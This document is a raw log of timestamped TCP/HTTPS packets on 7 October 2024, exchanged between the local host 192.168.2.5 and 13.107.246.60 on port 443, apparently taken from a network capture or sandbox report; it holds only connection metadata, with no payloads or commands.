Oct 7, 2024 17:22:43.886080980 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.887182951 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.887195110 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.887295961 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.887319088 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.888567924 CEST	49870	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.888582945 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.888654947 CEST	49870	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.889039993 CEST	49870	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.889050007 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.683063030 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.683502913 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.683518887 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.683685064 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.684318066 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.684345007 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.684345007 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.684395075 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.684501886 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.684515953 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.684725046 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.684731960 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.684967995 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.684993029 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.685312033 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.685317039 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.685561895 CEST	49870	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.685568094 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.685966015 CEST	49870	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.685970068 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.688637018 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.688922882 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.688937902 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.689325094 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.689328909 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.778553009 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.778713942 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.778773069 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.779609919 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.779860020 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.779949903 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.780165911 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.780524969 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.780939102 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.781256914 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.781322002 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.781387091 CEST	49870	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.789499998 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.789674044 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.789745092 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.792686939 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.792705059 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.792716026 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.792721987 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.792915106 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.792932034 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.792943954 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.792949915 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.793466091 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.793483019 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.793502092 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.793507099 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.794837952 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.794855118 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.794871092 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.794876099 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.795834064 CEST	49870	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.795840025 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.799422026 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.799443960 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.799500942 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.800097942 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.800106049 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.802109003 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.802182913 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.802258968 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.802402973 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.802433968 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.803540945 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.803590059 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.803653002 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.804378033 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.804388046 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.804574013 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.805052042 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.805059910 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.805110931 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.805811882 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.805830956 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.805910110 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.805922985 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:44.806005001 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:44.806015968 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.408412933 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.409049988 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.409116030 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.409621954 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.409635067 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.422887087 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.423348904 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.423367023 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.423780918 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.423791885 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.431514978 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.431921959 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.431937933 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.432318926 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.432322979 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.440161943 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.440552950 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.440582037 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.440929890 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.440934896 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.443064928 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.443408966 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.443419933 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.443785906 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.443789959 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.508816004 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.509124994 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.509213924 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.509301901 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.509301901 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.509351015 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.509377956 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.512192965 CEST	49876	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.512238979 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.512360096 CEST	49876	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.512597084 CEST	49876	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.512610912 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.524034023 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.524462938 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.524532080 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.524606943 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.524615049 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.524629116 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.524637938 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.527694941 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.527731895 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.527856112 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.528055906 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.528069019 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.536164045 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.536248922 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.536395073 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.536456108 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.536467075 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.536478043 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.536483049 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.539009094 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.539026022 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.539169073 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.539318085 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.539326906 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.544850111 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.544955969 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.545078039 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.545156002 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.545156002 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.545176983 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.545187950 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.546188116 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.547108889 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.547157049 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.547158003 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.547209024 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.547646046 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.547651052 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.547662973 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.547667027 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.549762964 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.549801111 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.549972057 CEST	49880	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.549998999 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.550019979 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.550059080 CEST	49880	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.550205946 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.550216913 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:45.550266027 CEST	49880	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:45.550275087 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.134696007 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.137260914 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.137304068 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.137727022 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.137737989 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.151293039 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.151808977 CEST	49876	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.151834011 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.152082920 CEST	49876	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.152087927 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.174418926 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.175014019 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.175039053 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.175363064 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.175369024 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.212997913 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.213001013 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.213462114 CEST	49880	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.213479996 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.213776112 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.213804007 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.214029074 CEST	49880	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.214037895 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.214297056 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.214303017 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.233722925 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.233772039 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.233900070 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.233916044 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.233972073 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.234369040 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.234410048 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.234436989 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.234451056 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.238296986 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.238333941 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.238435984 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.238637924 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.238650084 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.255258083 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.255331039 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.255394936 CEST	49876	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.255692005 CEST	49876	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.255707979 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.259211063 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.259232998 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.259824991 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.260138988 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.260149002 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.271126032 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.271183968 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.271230936 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.271256924 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.271315098 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.274743080 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.274758101 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.274772882 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.274779081 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.283663034 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.283716917 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.283785105 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.283994913 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.284010887 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.314034939 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.314114094 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.314393997 CEST	49880	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.314431906 CEST	49880	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.314445019 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.314455986 CEST	49880	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.314460993 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.318186998 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.318238020 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.318501949 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.318501949 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.318547964 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.360924006 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.361414909 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.361465931 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.361522913 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.361593962 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.361639023 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.361639023 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.361686945 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.361712933 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.364306927 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.364402056 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.364521980 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.364706039 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.364734888 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.867779016 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.868460894 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.868486881 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.868886948 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.868894100 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.898283958 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.898825884 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.898837090 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.899178982 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.899185896 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.929939032 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.930217028 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.930450916 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.930480003 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.930669069 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.930692911 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.930815935 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.930821896 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.931365013 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.931374073 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.963040113 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.963190079 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.963263988 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.964394093 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.964406013 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.964417934 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.964422941 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.967345953 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.967438936 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.967525959 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.967737913 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.967772961 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.998754978 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.998825073 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.998915911 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.998923063 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.998945951 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.999017000 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.999212027 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.999217033 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:46.999233007 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:46.999236107 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.002001047 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.002048016 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.002145052 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.002320051 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.002336979 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.025155067 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.025180101 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.025227070 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.025250912 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.025284052 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.025465965 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.025479078 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.025504112 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.025507927 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.026240110 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.026298046 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.026359081 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.026374102 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.026451111 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.026468039 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.026480913 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.026493073 CEST	49883	443	192.168.2.5	13.107.246.60
